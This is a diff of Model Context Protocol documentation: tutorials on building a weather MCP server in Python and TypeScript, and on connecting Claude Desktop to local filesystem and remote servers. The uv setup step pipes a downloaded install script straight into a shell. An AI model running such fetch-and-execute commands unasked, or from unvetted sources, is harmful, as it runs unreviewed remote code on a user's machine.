response might take up to 30 seconds to return + * This is normal and happens while: + * The server initializes + * Claude processes the query + * Tools are being executed + * Subsequent responses are typically faster + * Don't interrupt the process during this initial waiting period - 1. There's an MCP server named "weather" - 2. Launch it by running the compiled binary at the specified path + ### Common Error Messages - Save the file, and restart **Claude for Desktop**. + If you see: + + * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available + * `Connection refused`: Ensure the server is running and the path is correct + * `Tool execution failed`: Verify the tool's required environment variables are set + * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY` -### Test with commands +## Next steps -Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon: + + + Check out our gallery of official MCP servers and implementations + - - - + + View the list of clients that support MCP integrations + + -After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed: - - - +# Build an MCP server +Source: https://modelcontextprotocol.io/docs/develop/build-server -If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips. +Get started building your own server to use in Claude for Desktop and other clients. -If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop: +In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop. -* What's the weather in Sacramento? -* What are the active weather alerts in Texas? +### What we'll be building - - - +We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop): - Since this is the US National Weather service, the queries will only work for US locations. + Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have guides on [building your own client](/docs/develop/build-client) as well as a [list of other clients here](/clients). -## What's happening under the hood - -When you ask a question: +### Core MCP Concepts -1. The client sends your question to Claude -2. Claude analyzes the available tools and decides which one(s) to use -3. The client executes the chosen tool(s) through the MCP server -4. The results are sent back to Claude -5. Claude formulates a natural language response -6. The response is displayed to you! +MCP servers can provide three main types of capabilities: -## Troubleshooting +1. **[Resources](/docs/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents) +2. **[Tools](/docs/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval) +3. **[Prompts](/docs/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks - - - **Getting logs from Claude for Desktop** +This tutorial will primarily focus on tools. - Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`: + + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python) - * `mcp.log` will contain general logging about MCP connections and connection failures. - * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. + ### Prerequisite knowledge - You can run the following command to list recent logs and follow along with any new ones: + This quickstart assumes you have familiarity with: - ```bash theme={null} - # Check Claude's logs for errors - tail -n 20 -f ~/Library/Logs/Claude/mcp*.log - ``` + * Python + * LLMs like Claude - **Server not showing up in Claude** + ### Logging in MCP Servers - 1. Check your `claude_desktop_config.json` file syntax - 2. Make sure the path to your project is absolute and not relative - 3. Restart Claude for Desktop completely + When implementing MCP servers, be careful about how you handle logging: - - To properly restart Claude for Desktop, you must fully quit the application: + **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, but can be used safely with `file=sys.stderr`. - * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit". - * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar. + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. - Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect. - + ### Best Practices - **Tool calls failing silently** + * Use a logging library that writes to stderr or files. - If Claude attempts to use the tools but they fail: + ### Quick Examples - 1. Check Claude's logs for errors - 2. Verify your server builds and runs without errors - 3. Try restarting Claude for Desktop + ```python theme={null} + import sys + import logging - **None of this is working. What do I do?** + # ❌ Bad (STDIO) + print("Processing request") - Please refer to our [debugging guide](/legacy/tools/debugging) for better debugging tools and more detailed guidance. - + # ✅ Good (STDIO) + print("Processing request", file=sys.stderr) - - **Error: Failed to retrieve grid point data** + # ✅ Good (STDIO) + logging.info("Processing request") + ``` - This usually means either: + ### System requirements - 1. The coordinates are outside the US - 2. The NWS API is having issues - 3. You're being rate limited + * Python 3.10 or higher installed. + * You must use the Python MCP SDK 1.2.0 or higher. - Fix: + ### Set up your environment - * Verify you're using US coordinates - * Add a small delay between requests - * Check the NWS API status page + First, let's install `uv` and set up our Python project and environment: - **Error: No active alerts for \[STATE]** + + ```bash macOS/Linux theme={null} + curl -LsSf https://astral.sh/uv/install.sh | sh + ``` - This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather. - - + ```powershell Windows theme={null} + powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex" + ``` + - - For more advanced troubleshooting, check out our guide on [Debugging MCP](/legacy/tools/debugging) - + Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up. -## Next steps + Now, let's create and set up our project: - - - Learn how to build your own MCP client that can connect to your server - + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + uv init weather + cd weather - - Check out our gallery of official MCP servers and implementations - + # Create virtual environment and activate it + uv venv + source .venv/bin/activate - - Learn how to effectively debug MCP servers and integrations - + # Install dependencies + uv add "mcp[cli]" httpx - - Learn how to use LLMs like Claude to speed up your MCP development - - + # Create our server file + touch weather.py + ``` + ```powershell Windows theme={null} + # Create a new directory for our project + uv init weather + cd weather -# Connect to local MCP servers -Source: https://modelcontextprotocol.io/docs/develop/connect-local-servers + # Create virtual environment and activate it + uv venv + .venv\Scripts\activate -Learn how to extend Claude Desktop with local MCP servers to enable file system access and other powerful integrations + # Install dependencies + uv add mcp[cli] httpx -Model Context Protocol (MCP) servers extend AI applications' capabilities by providing secure, controlled access to local resources and tools. Many clients support MCP, enabling diverse integration possibilities across different platforms and applications. + # Create our server file + new-item weather.py + ``` + -This guide demonstrates how to connect to local MCP servers using Claude Desktop as an example, one of the [many clients that support MCP](/clients). While we focus on Claude Desktop's implementation, the concepts apply broadly to other MCP-compatible clients. By the end of this tutorial, Claude will be able to interact with files on your computer, create new documents, organize folders, and search through your file system—all with your explicit permission for each action. + Now let's dive into building your server. - - Claude Desktop with filesystem integration showing file management capabilities - + ## Building your server -## Prerequisites + ### Importing packages and setting up the instance -Before starting this tutorial, ensure you have the following installed on your system: + Add these to the top of your `weather.py`: -### Claude Desktop + ```python theme={null} + from typing import Any -Download and install [Claude Desktop](https://claude.ai/download) for your operating system. Claude Desktop is available for macOS and Windows. + import httpx + from mcp.server.fastmcp import FastMCP -If you already have Claude Desktop installed, verify you're running the latest version by clicking the Claude menu and selecting "Check for Updates..." + # Initialize FastMCP server + mcp = FastMCP("weather") -### Node.js + # Constants + NWS_API_BASE = "https://api.weather.gov" + USER_AGENT = "weather-app/1.0" + ``` -The Filesystem Server and many other MCP servers require Node.js to run. Verify your Node.js installation by opening a terminal or command prompt and running: + The FastMCP class uses Python type hints and docstrings to automatically generate tool definitions, making it easy to create and maintain MCP tools. -```bash theme={null} -node --version -``` + ### Helper functions -If Node.js is not installed, download it from [nodejs.org](https://nodejs.org/). We recommend the LTS (Long Term Support) version for stability. + Next, let's add our helper functions for querying and formatting the data from the National Weather Service API: -## Understanding MCP Servers + ```python theme={null} + async def make_nws_request(url: str) -> dict[str, Any] | None: + """Make a request to the NWS API with proper error handling.""" + headers = {"User-Agent": USER_AGENT, "Accept": "application/geo+json"} + async with httpx.AsyncClient() as client: + try: + response = await client.get(url, headers=headers, timeout=30.0) + response.raise_for_status() + return response.json() + except Exception: + return None -MCP servers are programs that run on your computer and provide specific capabilities to Claude Desktop through a standardized protocol. Each server exposes tools that Claude can use to perform actions, with your approval. The Filesystem Server we'll install provides tools for: -* Reading file contents and directory structures -* Creating new files and directories -* Moving and renaming files -* Searching for files by name or content + def format_alert(feature: dict) -> str: + """Format an alert feature into a readable string.""" + props = feature["properties"] + return f""" + Event: {props.get("event", "Unknown")} + Area: {props.get("areaDesc", "Unknown")} + Severity: {props.get("severity", "Unknown")} + Description: {props.get("description", "No description available")} + Instructions: {props.get("instruction", "No specific instructions provided")} + """ + ``` -All actions require your explicit approval before execution, ensuring you maintain full control over what Claude can access and modify. + ### Implementing tool execution -## Installing the Filesystem Server + The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: -The process involves configuring Claude Desktop to automatically start the Filesystem Server whenever you launch the application. This configuration is done through a JSON file that tells Claude Desktop which servers to run and how to connect to them. + ```python theme={null} + @mcp.tool() + async def get_alerts(state: str) -> str: + """Get weather alerts for a US state. - - - Start by accessing the Claude Desktop settings. Click on the Claude menu in your system's menu bar (not the settings within the Claude window itself) and select "Settings..." + Args: + state: Two-letter US state code (e.g. CA, NY) + """ + url = f"{NWS_API_BASE}/alerts/active/area/{state}" + data = await make_nws_request(url) - On macOS, this appears in the top menu bar: + if not data or "features" not in data: + return "Unable to fetch alerts or no alerts found." - - Claude Desktop menu showing Settings option - + if not data["features"]: + return "No active alerts for this state." - This opens the Claude Desktop configuration window, which is separate from your Claude account settings. - + alerts = [format_alert(feature) for feature in data["features"]] + return "\n---\n".join(alerts) - - In the Settings window, navigate to the "Developer" tab in the left sidebar. This section contains options for configuring MCP servers and other developer features. - Click the "Edit Config" button to open the configuration file: + @mcp.tool() + async def get_forecast(latitude: float, longitude: float) -> str: + """Get weather forecast for a location. - - Developer settings showing Edit Config button - + Args: + latitude: Latitude of the location + longitude: Longitude of the location + """ + # First get the forecast grid endpoint + points_url = f"{NWS_API_BASE}/points/{latitude},{longitude}" + points_data = await make_nws_request(points_url) - This action creates a new configuration file if one doesn't exist, or opens your existing configuration. The file is located at: + if not points_data: + return "Unable to fetch forecast data for this location." - * **macOS**: `~/Library/Application Support/Claude/claude_desktop_config.json` - * **Windows**: `%APPDATA%\Claude\claude_desktop_config.json` - + # Get the forecast URL from the points response + forecast_url = points_data["properties"]["forecast"] + forecast_data = await make_nws_request(forecast_url) - - Replace the contents of the configuration file with the following JSON structure. This configuration tells Claude Desktop to start the Filesystem Server with access to specific directories: + if not forecast_data: + return "Unable to fetch detailed forecast." - - ```json macOS theme={null} - { - "mcpServers": { - "filesystem": { - "command": "npx", - "args": [ - "-y", - "@modelcontextprotocol/server-filesystem", - "/Users/username/Desktop", - "/Users/username/Downloads" - ] - } - } - } - ``` + # Format the periods into a readable forecast + periods = forecast_data["properties"]["periods"] + forecasts = [] + for period in periods[:5]: # Only show next 5 periods + forecast = f""" + {period["name"]}: + Temperature: {period["temperature"]}°{period["temperatureUnit"]} + Wind: {period["windSpeed"]} {period["windDirection"]} + Forecast: {period["detailedForecast"]} + """ + forecasts.append(forecast) - ```json Windows theme={null} - { - "mcpServers": { - "filesystem": { - "command": "npx", - "args": [ - "-y", - "@modelcontextprotocol/server-filesystem", - "C:\\Users\\username\\Desktop", - "C:\\Users\\username\\Downloads" - ] - } - } - } - ``` - + return "\n---\n".join(forecasts) + ``` - Replace `username` with your actual computer username. The paths listed in the `args` array specify which directories the Filesystem Server can access. You can modify these paths or add additional directories as needed. + ### Running the server - - **Understanding the Configuration** + Finally, let's initialize and run the server: - * `"filesystem"`: A friendly name for the server that appears in Claude Desktop - * `"command": "npx"`: Uses Node.js's npx tool to run the server - * `"-y"`: Automatically confirms the installation of the server package - * `"@modelcontextprotocol/server-filesystem"`: The package name of the Filesystem Server - * The remaining arguments: Directories the server is allowed to access - + ```python theme={null} + def main(): + # Initialize and run the server + mcp.run(transport="stdio") - - **Security Consideration** - Only grant access to directories you're comfortable with Claude reading and modifying. The server runs with your user account permissions, so it can perform any file operations you can perform manually. - - - - - After saving the configuration file, completely quit Claude Desktop and restart it. The application needs to restart to load the new configuration and start the MCP server. - - Upon successful restart, you'll see an MCP server indicator in the bottom-right corner of the conversation input box: - - - Claude Desktop interface showing MCP server indicator - - - Click on this indicator to view the available tools provided by the Filesystem Server: - - - Available filesystem tools in Claude Desktop - - - If the server indicator doesn't appear, refer to the [Troubleshooting](#troubleshooting) section for debugging steps. - - - -## Using the Filesystem Server - -With the Filesystem Server connected, Claude can now interact with your file system. Try these example requests to explore the capabilities: - -### File Management Examples - -* **"Can you write a poem and save it to my desktop?"** - Claude will compose a poem and create a new text file on your desktop -* **"What work-related files are in my downloads folder?"** - Claude will scan your downloads and identify work-related documents -* **"Please organize all images on my desktop into a new folder called 'Images'"** - Claude will create a folder and move image files into it + if __name__ == "__main__": + main() + ``` -### How Approval Works + Your server is complete! Run `uv run weather.py` to start the MCP server, which will listen for messages from MCP hosts. -Before executing any file system operation, Claude will request your approval. This ensures you maintain control over all actions: + Let's now test your server from an existing MCP host, Claude for Desktop. - - Claude requesting approval to perform a file operation - + ## Testing your server with Claude for Desktop -Review each request carefully before approving. You can always deny a request if you're not comfortable with the proposed action. + + Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. + -## Troubleshooting + First, make sure you have Claude for Desktop installed. [You can install the latest version + here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** -If you encounter issues setting up or using the Filesystem Server, these solutions address common problems: + We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. - - - 1. Restart Claude Desktop completely - 2. Check your `claude_desktop_config.json` file syntax - 3. Make sure the file paths included in `claude_desktop_config.json` are valid and that they are absolute and not relative - 4. Look at [logs](#getting-logs-from-claude-for-desktop) to see why the server is not connecting - 5. In your command line, try manually running the server (replacing `username` as you did in `claude_desktop_config.json`) to see if you get any errors: + For example, if you have [VS Code](https://code.visualstudio.com/) installed: ```bash macOS/Linux theme={null} - npx -y @modelcontextprotocol/server-filesystem /Users/username/Desktop /Users/username/Downloads + code ~/Library/Application\ Support/Claude/claude_desktop_config.json ``` ```powershell Windows theme={null} - npx -y @modelcontextprotocol/server-filesystem C:\Users\username\Desktop C:\Users\username\Downloads + code $env:AppData\Claude\claude_desktop_config.json ``` - - - Claude.app logging related to MCP is written to log files in: - - * macOS: `~/Library/Logs/Claude` - - * Windows: `%APPDATA%\Claude\logs` - - * `mcp.log` will contain general logging about MCP connections and connection failures. - - * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server. + You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. - You can run the following command to list recent logs and follow along with any new ones (on Windows, it will only show recent logs): + In this case, we'll add our single weather server like so: - ```bash macOS/Linux theme={null} - tail -n 20 -f ~/Library/Logs/Claude/mcp*.log + ```json macOS/Linux theme={null} + { + "mcpServers": { + "weather": { + "command": "uv", + "args": [ + "--directory", + "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather", + "run", + "weather.py" + ] + } + } + } ``` - ```powershell Windows theme={null} - type "%APPDATA%\Claude\logs\mcp*.log" + ```json Windows theme={null} + { + "mcpServers": { + "weather": { + "command": "uv", + "args": [ + "--directory", + "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather", + "run", + "weather.py" + ] + } + } + } ``` - - - If Claude attempts to use the tools but they fail: + + You may need to put the full path to the `uv` executable in the `command` field. You can get this by running `which uv` on macOS/Linux or `where uv` on Windows. + - 1. Check Claude's logs for errors - 2. Verify your server builds and runs without errors - 3. Try restarting Claude Desktop - + + Make sure you pass in the absolute path to your server. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path. + - - Please refer to our [debugging guide](/legacy/tools/debugging) for better debugging tools and more detailed guidance. - + This tells Claude for Desktop: - - If your configured server fails to load, and you see within its logs an error referring to `${APPDATA}` within a path, you may need to add the expanded value of `%APPDATA%` to your `env` key in `claude_desktop_config.json`: + 1. There's an MCP server named "weather" + 2. To launch it by running `uv --directory /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather run weather.py` - ```json theme={null} - { - "brave-search": { - "command": "npx", - "args": ["-y", "@modelcontextprotocol/server-brave-search"], - "env": { - "APPDATA": "C:\\Users\\user\\AppData\\Roaming\\", - "BRAVE_API_KEY": "..." - } - } - } - ``` + Save the file, and restart **Claude for Desktop**. + - With this change in place, launch Claude Desktop once again. + + Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript) - - **npm should be installed globally** + ### Prerequisite knowledge - The `npx` command may continue to fail if you have not installed npm globally. If npm is already installed globally, you will find `%APPDATA%\npm` exists on your system. If not, you can install npm globally by running the following command: + This quickstart assumes you have familiarity with: - ```bash theme={null} - npm install -g npm - ``` - - - + * TypeScript + * LLMs like Claude -## Next Steps + ### Logging in MCP Servers -Now that you've successfully connected Claude Desktop to a local MCP server, explore these options to expand your setup: + When implementing MCP servers, be careful about how you handle logging: - - - Browse our collection of official and community-created MCP servers for - additional capabilities - + **For STDIO-based servers:** Never use `console.log()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server. - - Create custom MCP servers tailored to your specific workflows and - integrations - + **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. - - Learn how to connect Claude to remote MCP servers for cloud-based tools and - services - + ### Best Practices - - Dive deeper into how MCP works and its architecture - - + * Use `console.error()` which writes to stderr, or use a logging library that writes to stderr or files. + ### Quick Examples -# Connect to remote MCP Servers -Source: https://modelcontextprotocol.io/docs/develop/connect-remote-servers + ```javascript theme={null} + // ❌ Bad (STDIO) + console.log("Server started"); -Learn how to connect Claude to remote MCP servers and extend its capabilities with internet-hosted tools and data sources + // ✅ Good (STDIO) + console.error("Server started"); // stderr is safe + ``` -Remote MCP servers extend AI applications' capabilities beyond your local environment, providing access to internet-hosted tools, services, and data sources. By connecting to remote MCP servers, you transform AI assistants from helpful tools into informed teammates capable of handling complex, multi-step projects with real-time access to external resources. + ### System requirements -Many clients now support remote MCP servers, enabling a wide range of integration possibilities. This guide demonstrates how to connect to remote MCP servers using [Claude](https://claude.ai/) as an example, one of the [many clients that support MCP](/clients). While we focus on Claude's implementation through Custom Connectors, the concepts apply broadly to other MCP-compatible clients. + For TypeScript, make sure you have the latest version of Node installed. -## Understanding Remote MCP Servers + ### Set up your environment -Remote MCP servers function similarly to local MCP servers but are hosted on the internet rather than your local machine. They expose tools, prompts, and resources that Claude can use to perform tasks on your behalf. These servers can integrate with various services such as project management tools, documentation systems, code repositories, and any other API-enabled service. + First, let's install Node.js and npm if you haven't already. You can download them from [nodejs.org](https://nodejs.org/). + Verify your Node.js installation: -The key advantage of remote MCP servers is their accessibility. Unlike local servers that require installation and configuration on each device, remote servers are available from any MCP client with an internet connection. This makes them ideal for web-based AI applications, integrations that emphasize ease of use, and services that require server-side processing or authentication. + ```bash theme={null} + node --version + npm --version + ``` -## What are Custom Connectors? + For this tutorial, you'll need Node.js version 16 or higher. -Custom Connectors serve as the bridge between Claude and remote MCP servers. They allow you to connect Claude directly to the tools and data sources that matter most to your workflows, enabling Claude to operate within your favorite software and draw insights from the complete context of your external tools. + Now, let's create and set up our project: -With Custom Connectors, you can: + + ```bash macOS/Linux theme={null} + # Create a new directory for our project + mkdir weather + cd weather -* [Connect Claude to existing remote MCP servers](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp) provided by third-party developers -* [Build your own remote MCP servers to connect with any tool](https://support.anthropic.com/en/articles/11503834-building-custom-connectors-via-remote-mcp-servers) + # Initialize a new npm project + npm init -y -## Connecting to a Remote MCP Server + # Install dependencies + npm install @modelcontextprotocol/sdk zod@3 + npm install -D @types/node typescript -The process of connecting Claude to a remote MCP server involves adding a Custom Connector through the [Claude interface](https://claude.ai/). This establishes a secure connection between Claude and your chosen remote server. + # Create our files + mkdir src + touch src/index.ts + ``` - - - Open Claude in your browser and navigate to the settings page. You can access this by clicking on your profile icon and selecting "Settings" from the dropdown menu. Once in settings, locate and click on the "Connectors" section in the sidebar. + ```powershell Windows theme={null} + # Create a new directory for our project + md weather + cd weather - This will display your currently configured connectors and provide options to add new ones. - + # Initialize a new npm project + npm init -y - - In the Connectors section, scroll to the bottom where you'll find the "Add custom connector" button. Click this button to begin the connection process. + # Install dependencies + npm install @modelcontextprotocol/sdk zod@3 + npm install -D @types/node typescript - - Add custom connector button in Claude settings - + # Create our files + md src + new-item src\index.ts + ``` + - A dialog will appear prompting you to enter the remote MCP server URL. This URL should be provided by the server developer or administrator. Enter the complete URL, ensuring it includes the proper protocol (https\://) and any necessary path components. + Update your package.json to add type: "module" and a build script: - - Dialog for entering remote MCP server URL - - - After entering the URL, click "Add" to proceed with the connection. - - - - Most remote MCP servers require authentication to ensure secure access to their resources. The authentication process varies depending on the server implementation but commonly involves OAuth, API keys, or username/password combinations. + ```json package.json theme={null} + { + "type": "module", + "bin": { + "weather": "./build/index.js" + }, + "scripts": { + "build": "tsc && chmod 755 build/index.js" + }, + "files": ["build"] + } + ``` - - Authentication screen for remote MCP server - + Create a `tsconfig.json` in the root of your project: - Follow the authentication prompts provided by the server. This may redirect you to a third-party authentication provider or display a form within Claude. Once authentication is complete, Claude will establish a secure connection to the remote server. - + ```json tsconfig.json theme={null} + { + "compilerOptions": { + "target": "ES2022", + "module": "Node16", + "moduleResolution": "Node16", + "outDir": "./build", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules"] + } + ``` - - After successful connection, the remote server's resources and prompts become available in your Claude conversations. You can access these by clicking the paperclip icon in the message input area, which opens the attachment menu. + Now let's dive into building your server. - - Attachment menu showing available resources - + ## Building your server - The menu displays all available resources and prompts from your connected servers. Select the items you want to include in your conversation. These resources provide Claude with context and information from your external tools. + ### Importing packages and setting up the instance - - Selecting specific resources and prompts from the menu - - + Add these to the top of your `src/index.ts`: - - Remote MCP servers often expose multiple tools with varying capabilities. You can control which tools Claude is allowed to use by configuring permissions in the connector settings. This ensures Claude only performs actions you've explicitly authorized. + ```typescript theme={null} + import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; + import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; + import { z } from "zod"; - - Tool permission configuration interface - + const NWS_API_BASE = "https://api.weather.gov"; + const USER_AGENT = "weather-app/1.0"; - Navigate back to the Connectors settings and click on your connected server. Here you can enable or disable specific tools, set usage limits, and configure other security parameters according to your needs. - - + // Create server instance + const server = new McpServer({ + name: "weather", + version: "1.0.0", + }); + ``` -## Best Practices for Using Remote MCP Servers + ### Helper functions -When working with remote MCP servers, consider these recommendations to ensure a secure and efficient experience: + Next, let's add our helper functions for querying and formatting the data from the National Weather Service API: -**Security considerations**: Always verify the authenticity of remote MCP servers before connecting. Only connect to servers from trusted sources, and review the permissions requested during authentication. Be cautious about granting access to sensitive data or systems. + ```typescript theme={null} + // Helper function for making NWS API requests + async function makeNWSRequest(url: string): Promise { + const headers = { + "User-Agent": USER_AGENT, + Accept: "application/geo+json", + }; -**Managing multiple connectors**: You can connect to multiple remote MCP servers simultaneously. Organize your connectors by purpose or project to maintain clarity. Regularly review and remove connectors you no longer use to keep your workspace organized and secure. + try { + const response = await fetch(url, { headers }); + if (!response.ok) { + throw new Error(`HTTP error! status: ${response.status}`); + } + return (await response.json()) as T; + } catch (error) { + console.error("Error making NWS request:", error); + return null; + } + } -## Next Steps + interface AlertFeature { + properties: { + event?: string; + areaDesc?: string; + severity?: string; + status?: string; + headline?: string; + }; + } -Now that you've connected Claude to a remote MCP server, you can explore its capabilities in your conversations. Try using the connected tools to automate tasks, access external data, or integrate with your existing workflows. + // Format alert data + function formatAlert(feature: AlertFeature): string { + const props = feature.properties; + return [ + `Event: ${props.event || "Unknown"}`, + `Area: ${props.areaDesc || "Unknown"}`, + `Severity: ${props.severity || "Unknown"}`, + `Status: ${props.status || "Unknown"}`, + `Headline: ${props.headline || "No headline"}`, + "---", + ].join("\n"); + } - - - Create custom remote MCP servers to integrate with proprietary tools and - services - + interface ForecastPeriod { + name?: string; + temperature?: number; + temperatureUnit?: string; + windSpeed?: string; + windDirection?: string; + shortForecast?: string; + } - - Browse our collection of official and community-created MCP servers - + interface AlertsResponse { + features: AlertFeature[]; + } - - Learn how to connect Claude Desktop to local MCP servers for direct system - access - + interface PointsResponse { + properties: { + forecast?: string; + }; + } - - Dive deeper into how MCP works and its architecture - - + interface ForecastResponse { + properties: { + periods: ForecastPeriod[]; + }; + } + ``` -Remote MCP servers unlock powerful possibilities for extending Claude's capabilities. As you become familiar with these integrations, you'll discover new ways to streamline your workflows and accomplish complex tasks more efficiently. + ### Implementing tool execution + The tool execution handler is responsible for actually executing the logic of each tool. Let's add it: -# MCP Apps -Source: https://modelcontextprotocol.io/docs/extensions/apps + ```typescript theme={null} + // Register weather tools -Build interactive UI applications that render inside MCP hosts like Claude Desktop + server.registerTool( + "get_alerts", + { + description: "Get weather alerts for a state", + inputSchema: { + state: z + .string() + .length(2) + .describe("Two-letter state code (e.g. CA, NY)"), + }, + }, + async ({ state }) => { + const stateCode = state.toUpperCase(); + const alertsUrl = `${NWS_API_BASE}/alerts?area=${stateCode}`; + const alertsData = await makeNWSRequest(alertsUrl); - - For comprehensive API documentation, advanced patterns, and the full specification, visit the [official MCP Apps documentation](https://modelcontextprotocol.github.io/ext-apps). - + if (!alertsData) { + return { + content: [ + { + type: "text", + text: "Failed to retrieve alerts data", + }, + ], + }; + } -Text responses can only go so far. Sometimes users need to interact with data, not -just read about it. MCP Apps let servers return interactive HTML interfaces (data -visualizations, forms, dashboards) that render directly in the chat. + const features = alertsData.features || []; + if (!features.length) { + return { + content: [ + { + type: "text", + text: `No active alerts for ${stateCode}`, + }, + ], + }; + } -## Why not just build a web app? + const formattedAlerts = features.map(formatAlert); + const alertsText = `Active alerts for ${stateCode}:\n\n${formattedAlerts.join("\n")}`; -You could build a standalone web app and send users a link. However, MCP Apps -offer these key advantages that a separate page can't match: + return { + content: [ + { + type: "text", + text: alertsText, + }, + ], + }; + }, + ); -**Context preservation.** The app lives inside the conversation. Users don't -switch tabs, lose their place, or wonder which chat thread had that dashboard. -The UI is right there, alongside the discussion that led to it. + server.registerTool( + "get_forecast", + { + description: "Get weather forecast for a location", + inputSchema: { + latitude: z + .number() + .min(-90) + .max(90) + .describe("Latitude of the location"), + longitude: z + .number() + .min(-180) + .max(180) + .describe("Longitude of the location"), + }, + }, + async ({ latitude, longitude }) => { + // Get grid point data + const pointsUrl = `${NWS_API_BASE}/points/${latitude.toFixed(4)},${longitude.toFixed(4)}`; + const pointsData = await makeNWSRequest(pointsUrl); -**Bidirectional data flow.** Your app can call any tool on the MCP server, and -the host can push fresh results to your app. A standalone web app would need its -own API, authentication, and state management. MCP Apps get this via existing -MCP patterns. -**Integration with the host's capabilities**. The app can delegate actions to the host, which can then invoke the capabilities and tools the user has already connected (subject to user consent). Instead of every app implementing and maintaining direct integrations (e.g., email providers), the app can request an outcome (like “schedule this meeting”), and the host routes it through the user’s existing connected capabilities. -**Security guarantees.** MCP Apps run in a sandboxed iframe controlled by the -host. They can't access the parent page, steal cookies, or escape their -container. This means hosts can safely render third-party apps without trusting -the server author completely. + if (!pointsData) { + return { + content: [ + { + type: "text", + text: `Failed to retrieve grid point data for coordinates: ${latitude}, ${longitude}. This location may not be supported by the NWS API (only US locations are supported).`, + }, + ], + }; + } -If your use case doesn't benefit from these properties, a regular web app might -be simpler. But if you want tight integration with the LLM-based conversation, -MCP Apps are a much better tool. + const forecastUrl = pointsData.properties?.forecast; + if (!forecastUrl) { + return { + content: [ + { + type: "text", + text: "Failed to get forecast URL from grid point data", + }, + ], + }; + } -## How MCP Apps work + // Get forecast data + const forecastData = await makeNWSRequest(forecastUrl); + if (!forecastData) { + return { + content: [ + { + type: "text", + text: "Failed to retrieve forecast data", + }, + ], + }; + } -Traditional MCP tools return text, images, resources or structured data that the host displays as -part of the conversation. MCP Apps extend this pattern by allowing tools to -declare a reference to an interactive UI in their tool description that the host -renders in place. + const periods = forecastData.properties?.periods || []; + if (periods.length === 0) { + return { + content: [ + { + type: "text", + text: "No forecast periods available", + }, + ], + }; + } -The core pattern combines two MCP primitives: a tool that declares a UI resource -in its description, plus a UI resource that renders data as an interactive HTML -interface. + // Format forecast periods + const formattedForecast = periods.map((period: ForecastPeriod) => + [ + `${period.name || "Unknown"}:`, + `Temperature: ${period.temperature || "Unknown"}°${period.temperatureUnit || "F"}`, + `Wind: ${period.windSpeed || "Unknown"} ${period.windDirection || ""}`, + `${period.shortForecast || "No forecast available"}`, + "---", + ].join("\n"), + ); -When a large language model (LLM) decides to call a tool that supports MCP Apps, -here's what happens: + const forecastText = `Forecast for ${latitude}, ${longitude}:\n\n${formattedForecast.join("\n")}`; -1. **UI preloading**: The tool description includes a `_meta.ui.resourceUri` - field pointing to a `ui://` resource. The host can preload this resource before - the tool is even called, enabling features like streaming tool inputs to the - app. + return { + content: [ + { + type: "text", + text: forecastText, + }, + ], + }; + }, + ); + ``` -2. **Resource fetch**: The host fetches the UI resource from the server. This - resource contains an HTML page, often bundled with its JavaScript and CSS for - simplicity. Apps can also load external scripts and resources from origins - specified in `_meta.ui.csp`. + ### Running the server -3. **Sandboxed rendering**: Web hosts typically render the HTML inside a - sandboxed [iframe](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) - within the conversation. The sandbox restricts the app's access to the parent - page, ensuring security. The resource's `_meta.ui` object can include - `permissions` to request additional capabilities (e.g., microphone, camera) - and `csp` to control what external origins the app can load resources from. + Finally, implement the main function to run 